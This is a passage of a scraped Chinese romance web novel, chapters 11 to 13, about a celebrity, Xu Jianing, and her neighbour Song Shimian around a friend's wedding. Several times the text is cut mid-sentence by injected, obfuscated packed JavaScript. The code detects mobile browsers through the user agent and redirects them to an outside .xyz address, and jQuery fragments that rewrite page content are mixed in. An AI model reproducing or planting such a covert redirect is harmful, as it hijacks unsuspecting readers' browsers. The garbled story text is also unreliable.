d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669692|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清冽。 许伽宁扭头的瞬间,路灯乍然亮起,橙黄的光束穿透雨幕,将男生的脸照得清晰。 他今天戴了副黑框眼镜,离开空调房起了层雾,那双总是淡淡的漆黑眼睛隐在后面看不真切。 她怔住,呆呆盯着他,张着嘴却说不出话。 远处传来模糊的雷鸣,屋檐下的世界却安静得只剩彼此交错的呼吸。 宋时冕微微弯腰和她平视,原本不带情绪的眸子染上些玩味,他扯着嘴角,“发什么呆,走不走了?” 她反应过来,迅速转身背对着他,拨了拨头发藏起发烫的耳朵。宋时冕撑开伞往前走,许伽宁小心避开水坑跟上,“欸,等等我。” 许伽宁:“你不是明天才回来吗?” “提前收工就提前回来了。”宋时冕说,“我早上就在群里说了。” “那你怎么在这啊?” 宋时冕抬了抬另一只手,“出来给方老师买醋和臭干。” “臭干?!是理发店门口那家的吗?”不说许伽宁还没注意到,一说她就闻到香味儿了。 “嗯,难得我回来,肯定得去买。” 自从去年跟炸臭干的王老婆子吵了一架,方慧就再也不去他们家买,但是其他家都没他们家炸的好吃,方慧又不好意思去,只能每次等宋时冕或者宋爸爸在家的时候吆喝爷俩儿去买。 许伽宁:“那店还开着呢,这王老婆子都多大了。”如果没记错,她今年应该快八十了,居然还没舍得退休。 “这话我刚也问了,被我妈骂了一顿,”宋时冕说,“她要是没了,我妈吃什么。” “老当益壮,老当益壮。” 臭干味像是带钩子,许伽宁馋得咽口水,“你在这里面放什么了,好热。”她指了指宋时冕手里的袋子,说着还装模做样要晕倒。 宋时冕轻哂,让许伽宁拿着伞,拿起签子戳了块裹满酱汁的臭干,啧了一声,“打高点,再这样下去我都快颈椎了。” 这伞打得恨不得给他脑袋削一半。 许伽宁听话地把举高,她盯着他手上的签子望眼欲穿,嘴都要张开了,却眼见着这货送进自己嘴里,欠了吧唧道,“我帮你尝尝里面放什么。” 许伽宁瞪他,眼见着他戳起下一个,她伸头一口叼走,含糊骂了句举着伞就跑进楼道,留宋时冕一个人站在雨里。 宋时冕步子大,两三步就追上许伽宁,用胳膊环住她脑袋问她服不服,许伽宁嘴里的干儿还没咽下去差点给喷出来。 两人打闹声把整栋楼的声控灯惊醒。他俩家都在三楼,门对门。 许伽宁灵活脱身后两层两层地跨台阶,也不知道在跟谁比速度,宋时冕摘了眼镜松松卡在领口,一手拎东西一手抄兜,不急不慢地跟在她身后。 离家门还有两层台阶的距离,许伽宁转身,宋时冕也跟着停下。 她背着手,微抬下巴居高临下地看着他。 他仰着脑袋,刚淋过雨皮肤白到曝光,被打湿的发丝衬得他更加凌厉,攻击性极强,犀利的黑眸却轻飘飘地锁在她身上。 “谢谢这位粉丝,就送到这吧。” 宋时冕被她逗笑,朝对门儿扬起下巴,一脸无赖样儿,“不好意思,我也住这儿。” “穷追不舍啊,”许伽宁了然,朝他挥挥手,“那,明天见。” 他点点头,看着她进了家门。 宋时冕站在原地久久没动。 她今天穿了件露腰的短袖,刚刚他拦人时没收着力,在她的腰侧留下了一道醒目的红痕。 像是白玉瓷瓶上的一滴红墨。 让人忍不住想要帮她蹭掉。 操。 疯了。 11. 渐近 许成的饭馆没打烊,秦若兰的麻将也没散场。许伽宁到家的时候,家里空无一人,连灯都没开。 饥饿分子被那块臭干勾起,许伽宁嘴馋去冰箱里找剩菜剩饭,果不其然被她找着半份卤味。她美滋滋调了个电视,坐在茶几前就着碗冷米饭吃。 阴雨天一到,许成这膝盖风湿的老毛病就犯了,加上店里人也不多,把钥匙给店员他就提早回家。正巧在楼下碰到麻将散场的秦若兰,两人一同上楼,门一开就看到许伽宁躺在沙发上翘着脚。 听见门口的动静,许伽宁光着脚跑过去,“爸!妈!”跳上她爸的背,晃得许成晕头转向。 秦若兰拍拍女儿的屁股,嗔怪道,“你别给你爸摔着,多大人了。” “瞎说,宁宁多大我都背得动。”许成实实在在是个女儿奴,扶着墙换了鞋把许伽宁背回沙发上。 “哦哟,你饿不知道点外卖啊,这菜也不知道是哪天的了,你吃之前有没有闻闻味。”秦若兰顺手把茶几上的残骸收拾了,嘴里忍不住念叨。 秦若兰不会做饭,上班的时候在学校食堂吃,现在放暑假顿顿都是许成头一天晚上做好了或者从饭馆直接送回家。这两天秦若兰都不在家吃,这卤煮都放了三四天了。 许伽宁笑嘻嘻的,朝她爸比了个大拇指,“饿了谁管这么多,好吃,还是那个味儿,香!老爸这手艺没得说!” 许成去给许伽宁去拿她的粉拖鞋,打从看见女儿这眼睛就笑得没睁开过,“我让你妈给你寄过去的剁辣椒吃了吗,今年做了好多,不够这次走爸再给你拿点。” “你这次回来呆到什么时候走啊?”厨房里,秦若兰把碗麻利给洗了。 许伽宁嘴里塞满葡萄,说得模棱两可,“还没定,等柚子结完婚再玩两天吧。” 许成:“柚子要结婚了?” 秦若兰手没擦干就跑出来,“是她高中早恋的那个男生吗?” 许伽宁摇摇头,“不是,就我们以前一块儿玩的一个男生,你们都见过的,宋时冕的同学,还来过我们饭馆吃过饭,叫蒋昀。” 许成:“是不是那个个子高高的,然后头发卷卷的。” “对对对,就那个。” “那不错啊,我觉得跟柚子挺配的,”许成说,“两个都不着调。” “那你要去给她当伴娘?” “肯定的啊,宋时冕也要去给蒋昀当伴郎的。” 秦若兰:“小冕也回来了?” “嗯,明天我们还要一块儿去彩排。” 一下子,两个平日里不着家的全回来了,秦若兰高兴得不得了,准备拉着许伽宁去隔壁串门儿。 秦若兰和方慧大学同学,毕业后又在同一所学校上班,感情特别好。方慧这两天天天炫耀他们家大明星,不得不说,红气养人,小冕比上学那会儿还要帅,她也想去看看。 许伽宁想到刚刚在楼下发生的事,抓住她妈,“别啊秦老师,人刚回来,不得好好跟方姨聊聊天什么的,我们现在去凑什么热闹。” 许成给娘俩一人剥了一个手剥橙,“对啊,这都多晚了,又不是没机会了。” 秦若兰接过橙子,“不去就不去咯。”然后照常跟女儿打听,“那你有没有遇到什么合适的,也老大不小了。” 许伽宁:“我这工作能遇到什么合适的,就算是我想人家也不一定愿意啊。” 前两天经过程柚点拨,许伽宁确实对谈恋爱这件事来了兴趣,但人选还没有头绪。 秦若兰听出点猫腻,“这么说你身边是有满意的了?” “对同事心动这种事我做不出来。” “同事怎么了,你宋叔方姨不就是同事吗,还一个学校。” 许成在一旁听不下去,“宁宁才多大,女孩子还是得先以事业为主。” 他才舍不得把他的宝贝女儿便宜给哪家小子。 秦若兰斜了丈夫一眼,眼眶一圈都红了,“还事业,网上的都是些什么人啊,我都快心疼死了,当初就不该让她干一行,我们女儿从小到大我跟你都舍不得打骂,凭什么让他们随便乱说!” “不是说好,不在孩子面前提嘛。” 许伽宁沉默,一下一下撕着橙子外面白色的茎脉,从爸妈回来到现在都没跟她提这事,她还以为是他们俩还不知道。 “妈,我这不也没白白受委屈吗,受的气我都还回去了。”许伽宁抱住秦若兰,“别哭别哭,马上开学了,万一哭了变丑了你那些学生要笑你了。” “他们敢!” 许成:“宁宁,你要是干得不高兴,就回来,爸爸那间小饭馆生意好得不得了,养你们娘俩绰绰有余。我们陀崽那么好,他们什么都不知道就乱说,爸爸气啊。” “真没事的,随便他们说什么,我早就脱敏了,我现在看这网上就当一乐子,都不当真的。”说着,许伽宁把爸妈的手机拿来,“我给你们把微博卸载了,你们也少看。上班的上班,打麻将的打麻将。” 连工作上的事情都能让远在老家的爸妈操碎半颗心,许伽宁根本不敢说自己身体的事情。 或许这样是有些不负责任、自私,但能少难过三个月也好过,她人还在就得面对二老的愁容。 她倒在秦若兰和许成中间,忍住鼻腔里的酸意,轻轻说,“爸爸妈妈,我可能没法成为你们的骄傲了。” 她从小成绩就不好,秦若兰是历史老师,初中许伽宁的历史还是秦若兰亲自教的。 按理说,老师的孩子成绩再差也不会差到哪去,但偏偏许伽宁像个榆木脑袋,理科差文科也差。 教师子女的缘故,她进办公室挨骂的频率更高,秦若兰跟她班主任一个办公室,这跟骂秦若兰没什么区别。 次数多了,许伽宁也不怕了。看到秦若兰板着个脸,她还会卖乖跟秦若兰保证,“你别看你女儿现在没出息,以后我肯定能成为你跟爸爸的骄傲,那个时候,但凡能跟许伽宁这三个字有点关系的,都得沾上光。” 本来还生气的秦若兰被她逗笑,轻打着她的后脑勺,“得了,明天又要下雨咯。”说着,去把昨天洗的衣服给收回来。 许成捏着姑娘的脸颊,已经不像小时候那样肉嘟嘟的,“爸爸妈妈需要什么骄傲啊,操劳了半辈子,只要你能健康平安,每天开心就行了。” 是啊,健康平安就是最大、最难的幸福了。 * 晚上洗漱后,回到自己房间,许伽宁照例清理微信红点。 飘飘发了不少朋友圈,两个人下午去了外地人必打卡的几个旅游景点,程柚还带她去吃了他们小时候老去了那家炸串店,爆辣无比,每次去蒋昀一边辣到流泪一边吃,总被宋时冕嘲笑是个抖M。 飘飘是个不折不扣、完全符合刻板印象里的粤城人,吃不了一点辣。 果不其然,九宫图里就有一张她辣到脱妆、满头大汗、嘴唇红肿的自拍照,躲在镜头角落的程柚哈哈大笑。 许伽宁被逗笑,在下面评论:粤城人最雷的一集。 手机上方弹出消息,是门对面的家伙。 宋时冕:【明天九点现场彩排。】 这事晚上程柚不是在群里艾特了所有人了吗,她也回了收到。 或许宋时冕是怕她睡过又提醒了一遍,她回了个OK,转到闹钟界面连定了三个闹钟,截了图给他发过去。 这下没问题了。 宋时冕:【雨大,晚上睡觉记得关窗。】 许伽宁皱眉,大夏天开空调谁家开着窗户啊。不过她今天没心思跟他拌嘴,于是她图省事直接回了个OK的表情包。 没多久,又弹出来一条。 宋时冕:【明天降温,多穿点。】 许伽宁啧了一声。 什么毛病,能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在她这里,逃避比面对来得管用得多。 突如其来的安慰让她有点懵,她想打哈哈敷衍过去。 许伽宁:【是不是程柚他们让你来安慰我的,我真没事,你不说我都忘了这事了。】 觉得说服力不够,她又低头打了很多字。 比如现在微博热搜第一已经不是“许伽宁机场打人”,而是“许伽宁霸气回应机场男”,很多营销号已经明显开始替她说话了。 还有很多,很多她现在已经好一点的证据。 可惜她的手速比不上对面拨语音电话的速度。 许伽宁下意识点了接通键。 宋时冕黑漆漆的头像骤然变大,被一片灰黑色包围,占据半个屏幕。 “不是。” 他的声音很轻、清冽,像无机质特有的磁性,背景音是淅淅沥沥的雨声,如同某种无休止的絮语。 许伽宁承袭刚才的状态,此刻大脑更是一片空白,“什么不是?” 雨丝斜织成一张灰色的网,路灯在光晕在湿漉漉的地面上洇开。 宋时冕站在楼道对面的屋檐下,不着调地靠在蜕皮的墙面,檐角滴下的水珠在脚边溅起细小的水花。 他指间夹着根皱巴巴的烟,低头,猛吸一口。猩红的火星子蔓延近至指尖,烟草烧得缓慢,带着微微的焦苦,混着雨气,在唇齿间弥漫开来。 他不习惯烟草味,拧着眉头掐灭了烟。 “不是他们让我找你的。” 许伽宁攥着被单一角,很多话梗在喉咙,最后只能化作一个单音节,“哦……” 你什么时候这么好心了? 宋时冕笑了一下,“这次有没有哭鼻子?” “没有,哭多了会变丑的。”许伽宁急眼,她总是能容易被他说急眼。 他这回声音很轻,只剩下气音,像是说给自己听的,“不丑。” 许伽宁没听清,又问了一遍。宋时冕没再重复,认真跟手机那头的人说道。 “很多话你可以跟我说,就像小时候一样。” “我们不会变,不是吗?” 12. 渐近 台球厅包厢。 “啪”,白球笔直飞出。 在一下撞击声后,最后一颗红球沿着预想路线滚向底袋,在袋口轻轻一磕,落入网中。 他绕着球台走了半圈,将球杆放入槽口,踢了踢沙发上打瞌睡的蒋昀,“醒醒。” “操。”蒋昀撑着沙发坐起来,扫了眼清空的球台,“你大晚上喊我出来,就是为了看你秀球技?” 男生拿起桌上的水仰头喝了口,“你睡这么早?平常不都是你三四点叫我开黑。” “不好意思,后天结婚,这两天补美容觉。”蒋昀点了两下手机,将聊天框调出来贴脸秀,“我们家柚子催我回去了,赶紧的。” “再等会儿,等方老师睡了就回去。”宋时冕两个指头拎着水瓶晃荡,单手划拉手机。 蒋昀:“你不对劲,刚一见面我就闻见你身上的烟味了,你不是不抽烟吗?” 男生暗灭手机,又灌了一大口水。 见他不说话,更加印证了蒋昀心里的猜测,“你今天喊我出来该不会真就单纯喊我打球吧,是不是有烦心事?” 宋时冕拧好瓶盖,有一下没一下地捏着瓶身,塑料材质的瓶子被他攥在手里,发出清脆的声响。他叹了口气,侧头看着蒋昀。 “如果,你有个玩了很久的朋友,突然有一天跟你不像以前一样无话不说了,这说明什么?” 蒋昀撞了下他肩膀,“你有病吧宋时冕,把我当傻子啊,不就是许伽宁吗?” 自以为隐藏得很好的宋时冕:“......” “这能说明什么?无非就是,你们现在长大了,有自己的生活了。”蒋昀说,“你们这都分开多久了,还以为跟小时候一样能躺在一个被窝里说悄悄话。” “狗东西,你能不能不要对别人的生活占有欲这么强啊?” 宋时冕把手里的瓶子捏得嘎嘎响,难得没怼回去。 他们小时候也没躺过一个被窝啊。 “你是不是还喜欢她?” “还?” “靠,真当兄弟瞎啊。就不说咱认识之前你们怎么相处的,反正上学那会儿你对许伽宁什么样,我跟程柚都看在眼里。” 既然话头都开了,就没有撂下的道理。蒋昀越过今天频繁走神的忧郁男神,去小冰箱里拿了两听啤酒。 “上课惦记着,下课念叨着,你一高一的给人一初三的废寝忘食准备中考笔记,学校里男生给她的情书你少说也给拦了一半,高二运动会她崴个脚你飞了半个操场把人背医务室,还有那年我们去山里跨年你居然——” 知道他要说什么,宋时冕及时止损,“停。” 蒋昀切了一声,擦了擦啤酒上的水珠,“也就许伽宁那种大脑发育不良的看不出你的少男心思。” 如果情绪更够具象化,宋时冕现在头顶上应该是一堆黑线。 “你也说了她大脑发育不良,我再不看着点她就要被人卖了。”他试图进行最后的嘴硬挣扎。 “得了吧,自己以前说得头头是道,什么‘谁离开谁都能活’,人出国后,我看你那魂倒是像跟她一块儿去了韩国。” “虽然你总是一副跟她死对头的样子,但兄弟知道,这只是你掩饰内心最深处欲望的手段罢了。” “因为兄弟当时喜欢上自己老婆的时候,也这死样儿。” “不过不同的是,我那是打情骂俏哈,跟你这种没出息的情种扯不到一块儿去。” “闭嘴吧你。” 全被说中后又被连环重伤,宋时冕彻底破防,手肘撑在腿上,躬身垂着头。 “这次她回来,你沉寂多年的心是不是又重新跳起来了?”宋大少爷的破防时刻稀罕,蒋昀来了劲儿,决定雪上加霜,捂住自己的心脏,模拟心跳的声音,“扑通、扑通。” 声音之大,动作之夸张。 宋时冕骂了句滚蛋,但也没否认他的疑问。 他想不明白,他现在跟许伽宁之间应该是怎么样的相处模式。 或许是因为这几次见面都是她情绪不高的时候,让他有了错觉。 眼泪是很隐秘的东西。 小时候的许伽宁性子刚,娇蛮任性,经常惹到人。 可她就算真受欺负也总是一副要跟人拼死到底的样子,像是一匹受刺激的小兽,又凶又猛。哪怕真跟人动起手,挨揍都不带喊疼的。 但一回到家,她就会抱着宋时冕诉苦,眼泪流了人一身,让他去给自己报仇。 年幼的宋时冕盯着女孩哭到泛红的脸,心里莫名漾起几分连自己都无法解释的满足。 他虚伪地拍拍女孩的背让她别哭,却又把这份雀跃在往后的很多个深夜里拿出来细细品味。 那天在江边,虽然不知道是什么让她伤心,但看着她微红的眼眶,尚未完全干涸的泪痕,宋时冕再一次确定,自己在她心里是被划分在那条泾渭分明的界线内的。 他很高兴。 可最近发生在许伽宁身上的事,却从未听她亲口提起过。 明明人在眼前,她大大小小的事情却需要通过网络、别人才能知道。 不爽。 冲动之下,他推掉剩下的工作提前回来。 在飘雨的傍晚再次见到她,所有路上放在嘴边反复摩挲的质问被他尽数咽下肚,也熄了火。 他根本问不出口。 没资格,也没身份。 蒋昀见忧郁男神又开始忧郁,朝他咧了个笑,“你要真有想法,试试呗。” “我要是长你这样,高中那会儿肯定废寝忘食地去把妹。顶着这张脸玩暗恋,稀罕。” 宋时冕抬了抬眼皮,“你还记得赵鑫吗?” 蒋昀愣了会儿,脑海里渐渐浮现这人的脸,“记得啊,但是他不是后来就不跟我们一块儿了吗?” 从前不是湘江f4,是f5。 赵鑫跟宋时冕、蒋昀一个班,打球很默契,自然而然就经常一起玩,平日周末里有活动有聚餐也会带着他一起。 赵鑫喜欢许伽宁,喜欢到宋时冕心里都门儿清,尽管他已经很努力地在他们中间当墙,但还是耐不住少年人的满腔热血。 赵鑫的生日聚会散场后,大家三三两两地都走了。喝多的蒋昀跟着程柚上了出租车,宋时冕去洗手间,饭店门口只剩下许伽宁和今天的寿星。 男生脚步虚浮,险些摔倒,许伽宁礼貌扶稳他。借着酒劲儿,他红着脸向喜欢的女孩告白。 许伽宁愣了会儿,拉开他们的距离,摇摇头。 这一切都被不远处的宋时冕目睹,他适时出现,将喝醉的兄弟拉走,把他送上出租车。 回家的路上,宋时冕问许伽宁。 “你不喜欢赵鑫?” “当朋友可以,但要是别的,还是算了。” “嗯,不要早恋。” 那天之后,赵鑫跟他们在一起的时间越来越少,有时候在食堂遇见还会故意躲着。 蒋昀抱怨赵鑫不义气,宋时冕和许伽宁始终沉默,慢慢地,也没人再提起过赵鑫。 “那天发生了这么多事儿,我居然什么都不知道!” “你在饭桌上像武松一样,不知道的还以为你晚上要去打老虎。” 喝酒误事,喝酒误事。 但蒋昀还是想说句公道话,“你还是别说了吧。虽然你也不是什么不能谈恋爱的工作,但是吧......” 他拖长尾音,思索着该怎么说才能足够委婉,顺带保护一下宋时冕脆弱的自尊心。 宋时冕斜了他一眼,继续把瓶子盘得嘎吱响,仿佛那就是蒋昀的命脉。 “我确实没觉得咱女王大人对你有那个意思,万一说了别连朋友都做不了。” “那亏大发了。” * 翌日早上,许伽宁卡点出门。 出了楼道就看见一个熟悉的背影坐在外面的台阶上,拎着半根火腿肠逗狗。 他犯贱似的把肠儿在小黑狗前面晃来晃去,每次狗快碰到的时候又忽然把手抬高。 最后一下,小黑狗被激励到,猛地跳出狗生新高度利索叼走男生手里的半根火腿肠。 紧接着,男生难以置信地爆了句粗口,“你还真吃上了,你吃了我吃什么?” “世界奇观,”许伽宁看不下去,啧声连连,“狗逗狗。” 宋时冕扭头,起身拍拍裤子,闲庭信步地走到在许伽宁面前朝她伸手,“世界奇观哪能让你免费看,五千一场。” 出门前宋时冕洗了头,这会儿头发半干,耷拉在额头前,将平日里凌厉的气质削弱不少。 一身下来基本上都是他代言的牌子。 省事得很。 白色棉质背心打底,外搭一件oversize黑色防晒运动外套,松垮的领口边锁骨线条若隐若现,一条看了会犯潮人恐惧症的logo印花牛仔裤,肩上随意挂着黑色斜挎包,手碗上的红绳格外醒目,在冷白的皮肤上扎眼得很。 看上去比刚刚隔壁楼的大学生还像个大学生。 她想。 见许伽宁半晌不说话,他抬高手在她面前晃了晃,似乎打定了不给钱不让路的主意。 她踮脚,抓着男生的手臂,把下巴放在他手心里,闭眼装死,“要钱没有,只有烂命一条,来吧。” 在碰上温热的肌肤的一刹那,宋时冕收在兜里的另一只手不由自主地攥紧,他的视线落在她毛茸茸的发顶。 他愣在原地没动。 在许伽宁看不见的地方,他的耳朵染上血色。 宋时冕轻咳了一声,迅速收回手,双手抄兜装作很酷的样子,头也不回地下楼梯,“谁稀罕,你那命值几个钱。” “哇,宋大少爷好大的口气。猪肉二十一斤的话,我怎么说也值个两千,两千块钱不是钱啊?” 这大一段楼梯分两段,下一段拐了弯被墙挡了看不见。宋时冕腿长步子大,一句话的功夫许伽宁已经看不见他人影。 但她依旧不急不慢地跨台阶,还沉浸在短暂呛到这人的喜悦里,果不其然,下到第二段就看见身形高大的男生站在楼梯扶手边等她。 放暑假,家里两位都不上班,宋时冕就跟他爸把车借过来。他从兜里把钥匙拿给许伽宁,许伽宁认命给这少爷当司机。 “你真不打算学个驾照?”她丝滑把车倒出,稳稳上路。 宋时冕低头把地址输进汽车导航,“没有驾照应该不影响我正常生活吧。” 许伽宁:“你想想啊,以后你撩妹约完会都没法送人家回家,还得让人家妹子送你,这形象直接大打折扣。” 宋时冕凝噎,“在哥的脸面前,其他都得往后稍稍。” “那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669694|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是也有车戏吗,没驾照也不碍事吗?” 红灯亮起,许伽宁踩下刹车,耳边就响起他懒散的声音,“你见过谁拍车戏真开车的。哦差点忘了,你应该没拍过。” 说完,就自觉地放倒座椅,双手交叠放在胸口,脑袋一歪,“眯会儿,到了叫我。” 她无声地咬牙切齿,后悔自己多余的好奇。 婚礼在附近山上的一所婚礼庄园里,听说很难约,要至少提前一年预约。 欧式风格的庄园,乳白色的古典建筑矗立在绿茵之上,尖顶穹顶和雕花拱廊在日光下泛起光泽,这里到处飘着金钱的味道。 ——完全符合小时候程柚跟许伽宁描述的婚礼。 蒋昀一早就在停车区域等着,宋时冕先下了车,见着人蒋昀就冲上去一个熊抱,“老宋!你这家伙怎么一点都没被岁月摧残,我都后悔让你来当伴郎了。” “那我明天带个口罩?”宋时冕跟他插科打诨。 许伽宁停好车走过来就撞见相亲相爱的两个人。蒋昀见着这两天让人露宿网吧的“罪魁祸首”,跟以前似的搂着她肩膀,阴阳怪气道,“这不咱女王大人吗?” 许伽宁没轻没重地拍了他一巴掌,“我不是跟你说了,再这么叫我我就把你揍得找不着北。” 某次几个人一块儿出去玩,蒋昀买了不少酒,说要提前感受一下成年人的生活。那是许伽宁第一次喝酒,不知不觉就喝了一整罐啤酒,然后逼着在场所有人叫她魔仙女王,谁不叫她就用黑魔法把他变成瘌□□。 到现在视频还在他们手机里,久而久之“女王大人”成了他们的一个梗,经常有事没事拿出来逗逗许伽宁。 背后的巴掌印火辣辣得疼,蒋昀吵着要宋时冕给他报复回来,后者轻拍他的肩膀叹了口气,“庆幸吧,这一巴掌要是拍你脸上,明天你这婚都结不了。” 许伽宁得意地抬着下巴晃着脑袋,脚步轻快地往彩排现场走,宋时冕耸了耸肩跟在她身后。 婚礼是露天的,在古典建筑后的大草坪上,现在提前就布置好了,人都到齐后彩排就正式开始了。 流程并不复杂,最主要的就是让上场人员熟悉一下明天各自的走位。伴郎和伴娘的戏份不多,在交换戒指之前都是两位新人以及新人父母的戏份。 对于两位明星的到来,大家也只是激动了片刻便各司其职。 于是许伽宁坐在台下的座位上待命,流程走到新娘父亲发言的环节。虽然发言内容和大多数婚礼都大差不差,但或许是受环境因素的影响,她听得很认真,甚至一度悄悄抹了把眼角的泪花,以至于邻座多了个人都没发现。 “想结婚了?” 身边冷不丁冒出个声音。 许伽宁扭头白了他一眼,“我这是被柚子的爱情感动,谁想结婚啊?” 宋时冕抬头收起手机,长臂一伸,搭在她的椅背上,从侧面看像是把许伽宁揽在怀里,听罢也只是中肯点点头,“你结婚估计也不容易。” “什么叫不容易?”许伽宁侧身和他面对面,一副势必要跟他好好理论一番的样子,“你知不知道喜欢我的有多少,就不说粉丝吧,光是以前学校那些就能绕赤道三圈。” 生怕宋时冕不信,她伸出三个指头恨不得插他眼睛里。 “我们学校是地球村啊?” “不信算了,你这是纯嫉妒。” “我呢,就是觉得吧......” 现场很吵,音乐声人声很大,宋时冕故作神秘,朝她勾勾手,示意她靠近,像是要说什么惊天大秘密。 许伽宁没想多少,倏然俯身把耳朵凑过去。 夹杂着暑热的体温靠近,女生粉白的耳朵在阳光下半透明状,离他的嘴唇仅仅半寸,可她别在耳后的碎发却是实实在在地轻蹭男生的下颌。 好痒。 他刚才想说什么来着。 “说啊。” 哦对,要逗她来着。 小小的动作休想扰乱他的道心。 睚眦必报的宋时冕必须回击, 他话锋一转,恢复原先的吊儿郎当,幽幽开口。 “害,我也是为了你以后的幸福着想。你记得把你那几亿号追求者带咱家去,我给他们看看你小时候教狗上楼梯,裤子掉半截的照片,看他们能不能接受自己以后老婆是个傻子这件事。” 宋时冕右边脸颊有一个很不明显的酒窝,只有笑得很用力的时候才能看清,此刻不打眼的酒窝明晃晃地像根刺儿扎许伽宁眼里。 极其不美好的记忆涌进脑海里。 当时宋时冕在她屁股后面拍完就拿到正主面前舞,许伽宁想去抢,无奈在小学期间两人的个头已经被生长痛拉开差距。 第二天,这货非但没有删还花钱打印下来,买了相框放在家里最显眼的地方。 小小的许伽宁心有余而力不足。 大大的许伽宁依旧那他没办法。 只能无能狂怒。 “你特么死了!敢加害于朕!”说罢,一个拳头就要挥过去。 宋时冕提前预判,往边上挪了一个位置,抬手止住她的物理攻击,“我对你够好了吧,这么多年都没爆你黑料。你这算不算恩将仇报?” 他的手大到足以包裹住一整个她的拳头,许伽宁挣脱不开,只能带着他的手用上半身做了半分钟的椭圆机。 13. 渐近 许伽宁对婚礼、爱情的所有想象几乎都来自于影视剧。 甜蜜、梦幻、美好。 从婚礼现场随处可见的、程柚最喜欢的向日葵就能看得出,这场婚礼符合大多数女孩的幻想。 但事实上,真正参与进来之后,早上六点已经来化妆的许伽宁只觉得。 结婚好累。 * 婚礼庄园空间很大,房间也很多。 最大的房间留给接亲用。 作为网络红人,自然婚礼也得别具匠心。 程柚抛弃了传统式的结婚流程,决定开一场派对式婚礼。 婚礼且全程由专业的摄像团队跟拍记录,到时候成片剪出来就跟纪录片一样。 这也是程柚的原意。 七点整,伴娘团的所有人都已经化好妆,换了晨袍,大家就开始美美开拍晨袍照。 除了许伽宁,伴娘团是由程柚网红圈的很多好友组成。大家拍照花样多多,各种姿势、表情信手拈来,由飘飘亲自掌镜,不出半刻钟就出片。 “出片了出片了。” “哇,拍的好好啊,这张可以剪进视频里!” “欸,你到时候把这张的我p一下啊,我脸有点歪。” “不愧是大明星,怎么拍都不会崩。” 女人的话题一扯到拍照就停不下来,本来大家还顾忌着许伽宁是明星,会有架子不好相处。 没想到大明星不仅拍照的时候主动往前站,带来的“摄影师”拍照技术好到像简直像是明星工作室的宣发照。 没多久几个姑娘就打成一片,商量着待会儿堵门的时候要怎么整伴郎团。 “光给红包怎么够?你们家蒋昀唱歌那么好听,不得给姐妹们也听听啊。” 程柚:“行,让他唱,唱几首都行。” “听说宋时冕也来了,能不能让他给我签个名,我巨喜欢他。” “哈哈哈哈哈,你这不是假公济私吗?” “哎哟,我这小博主能沾您光见偶像,还不得珍惜啊。” 大家聊得热火朝天。 过了会儿,紧闭的房门外开始响起吵闹声和音乐声,程柚弟弟程澄跑进屋内,“姐,他们来了!” 几个姑娘蜂拥跑到房门口,双手撑门,蓄势待发。许伽宁帮坐在床上的程柚整理好裙摆,也加入他们的队列中。 嘈杂声逼近,房门外突然有一股大力开始和他们的力量对抗。男生们也没真的用多大劲儿,在外面吵的吵,闹的闹,撒娇的撒娇。 蒋昀喊得最厉害,“好姐姐们,把门开开吧~” 女生声尖儿,这会儿异口同声,“红包拿来!”说着,她们收了些力,门顺势开了条缝,一大把红包塞进缝隙,哗啦啦,豪横得很。 “不够不够!”想让她们开门,哪有这么容易。 许伽宁把事先准备好的题目和笔递过去,朝门缝外喊道,“全都做完,不能错哦。” 蒋昀看见是题目,一把塞进宋时冕手里,“快快快,兄弟幸福就看你的了。” 宋时冕接过大致看了眼,两道题,一道数独题一道二次函数题,然后他拔了笔帽真就认真伏在墙上做起题目。 原题只有一道数独题,二次函数是许伽宁加上的,她料定蒋昀肯定会让宋时冕做,一道简简单单的数独岂不是便宜他了。 题目不难,重在时间久远。 这期间蒋昀也没闲着,被伴娘们勒令回答问题,都是关于新娘的一系列问题。 蒋昀不费吹灰之力答完,宋时冕的题目也做好了,许伽宁让她们堵好自己去旁边对答案。 还真给他做出来了。 门打开,一帮血气方刚的男生涌进来,身后跟着的是现成的乐队,一路跟着弹奏。 “砰”的一声,两个女生在走道拧开手里的礼炮花。蓝色混着粉色的鲜花瓣纷纷扬扬飘下,每个人的头顶、肩上多多少少都沾了花瓣。 进门的男生们跟着音乐的律动扭动身体,有些人甚至还把捣乱的伴娘拉走跳双人舞。 宋时冕跟在队尾,手里还拿着刚刚程妈妈硬塞给他的红枣大糕。 今天兄弟大喜的日子,他一个平日懒到不想呼吸的人都早起做了造型,款式经典的黑西装,头发被发胶固定到脑后,露出光洁的额头,应该是还蹭了点蒋昀的化妆师,把眉毛修了修。 注意到一直盯着他的许伽宁,宋时冕摘走她头发上的花瓣,把手里的大糕递给她,“没吃早饭吧,给。” “不吃直说好吧。”许伽宁说,“还装上暖男了。” 这种大糕宋时冕从来不吃,更别说红枣味的。小时候逢年过节,邻居长辈们给的那种袋装糕都是许伽宁替他解决。 “那这个吃不吃?”宋时冕笑了笑,又从西装裤兜里掏出一把水果糖,凑到她耳边说道,“偷偷拿的。” 她挑了一颗绿色走,听见男生说,“题目下次可以加点难度。”声调上扬,得意样儿藏都不藏了。 “行,等你结婚,给你出世界十大未解之谜行不行?” “做题还做上瘾了。” 宋时冕:“......” 